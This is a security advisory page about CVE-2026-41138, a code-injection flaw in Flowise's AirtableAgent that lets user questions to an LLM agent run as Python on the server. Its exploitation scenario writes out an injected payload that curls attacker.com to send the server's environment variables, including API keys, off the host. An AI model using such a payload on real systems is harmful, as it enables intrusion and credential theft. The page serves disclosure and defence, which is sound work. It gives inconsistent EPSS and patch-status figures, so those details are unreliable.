CVE-2026-41138: Flowise: RCE via unsanitized input in AirtableAgent
HIGH PoC AVAILABLE CISA: ATTENDFlowise's AirtableAgent component (pre-3.1.0) contains a critical remote code execution flaw where user-supplied input is reflected directly into Python code executed by Pandas without any sanitization — any authenticated user can run arbitrary commands on the Flowise server. CISOs running Flowise for LLM workflow automation should treat this as urgent: a public proof-of-concept already exists, the attack requires only low-privilege credentials over the network, and CISA's SSVC decision of ATTEND signals near-term exploitation risk despite absence from the KEV catalog. Blast radius extends well beyond Flowise itself — a compromised server exposes all stored API keys (OpenAI, Anthropic, etc.), connected data sources, conversation logs, and provides a pivot point into internal networks. Patch immediately to Flowise 3.1.0; if patching is blocked, disable AirtableAgent flows and rotate all API keys stored in the platform.
What is the risk?
High risk in practice, despite a modest EPSS of 0.32%. The combination of network-accessible exploit path, low attack complexity, and only low-privilege credentials required makes this trivially exploitable by any authenticated user — not just admins. A public PoC lowers the bar further. Flowise has 59 prior CVEs in the same package, indicating a persistent security debt. The RCE grants full server compromise including environment variable access, file system read/write, and outbound network control, making the blast radius disproportionate to the initial access requirement.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Flowise | npm | — | No patch |
Do you use Flowise? You're affected.
How severe is it?
What is the attack surface?
What should I do?
4 steps-
Patch: Upgrade Flowise to 3.1.0 immediately — this is the vendor-confirmed fix.
-
Workaround (if patching is blocked): Disable AirtableAgent flows and restrict Flowise access to trusted internal users via network ACLs or VPN.
-
Detection: Review Flowise server logs for anomalous Python/Pandas execution, unexpected process spawning from the Flowise application user, or unusual outbound connections. Deploy SIEM alerts on child process creation from node.js processes.
-
Post-incident: Rotate all API keys stored in Flowise configurations (LLM provider keys, Airtable tokens, database credentials) as they should be considered compromised if the instance was exposed.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-41138?
Flowise's AirtableAgent component (pre-3.1.0) contains a critical remote code execution flaw where user-supplied input is reflected directly into Python code executed by Pandas without any sanitization — any authenticated user can run arbitrary commands on the Flowise server. CISOs running Flowise for LLM workflow automation should treat this as urgent: a public proof-of-concept already exists, the attack requires only low-privilege credentials over the network, and CISA's SSVC decision of ATTEND signals near-term exploitation risk despite absence from the KEV catalog. Blast radius extends well beyond Flowise itself — a compromised server exposes all stored API keys (OpenAI, Anthropic, etc.), connected data sources, conversation logs, and provides a pivot point into internal networks. Patch immediately to Flowise 3.1.0; if patching is blocked, disable AirtableAgent flows and rotate all API keys stored in the platform.
Is CVE-2026-41138 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-41138, increasing the risk of exploitation.
How to fix CVE-2026-41138?
1. Patch: Upgrade Flowise to 3.1.0 immediately — this is the vendor-confirmed fix. 2. Workaround (if patching is blocked): Disable AirtableAgent flows and restrict Flowise access to trusted internal users via network ACLs or VPN. 3. Detection: Review Flowise server logs for anomalous Python/Pandas execution, unexpected process spawning from the Flowise application user, or unusual outbound connections. Deploy SIEM alerts on child process creation from node.js processes. 4. Post-incident: Rotate all API keys stored in Flowise configurations (LLM provider keys, Airtable tokens, database credentials) as they should be considered compromised if the instance was exposed.
What systems are affected by CVE-2026-41138?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI workflow automation, LLM orchestration platforms.
What is the CVSS score for CVE-2026-41138?
CVE-2026-41138 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.60%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0051.000 Direct AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, there is a remote code execution vulnerability in AirtableAgent.ts caused by lack of input verification when using Pandas. The user’s input is directly applied to the question parameter within the prompt template and it is reflected to the Python code without any sanitization. This vulnerability is fixed in 3.1.0.
Exploitation Scenario
An attacker registers or compromises a low-privilege Flowise account on a production deployment. They identify an AirtableAgent flow and submit a crafted question such as `'; import os; os.system('curl https://attacker.com/exfil?d=$(cat /proc/self/environ | base64)') #`. Because the question parameter is reflected directly into the Pandas Python prompt template without sanitization, the Flowise server executes the injected payload. Within seconds, the attacker receives the server's environment variables — including all stored LLM API keys and database credentials — and can follow up by establishing a reverse shell for persistent access to the entire AI infrastructure.
Weaknesses (CWE)
CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
- [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same package: flowise CVE-2026-46442 9.9 Flowise: sandbox escape enables authenticated RCE
Same package: flowise CVE-2025-61913 9.9 Flowise: path traversal in file tools leads to RCE
Same package: flowise CVE-2026-40933 9.9 Flowise: RCE via MCP stdio command injection
Same package: flowise CVE-2026-56274 9.9 Flowise: RCE via MCP server command validation bypass
Same package: flowise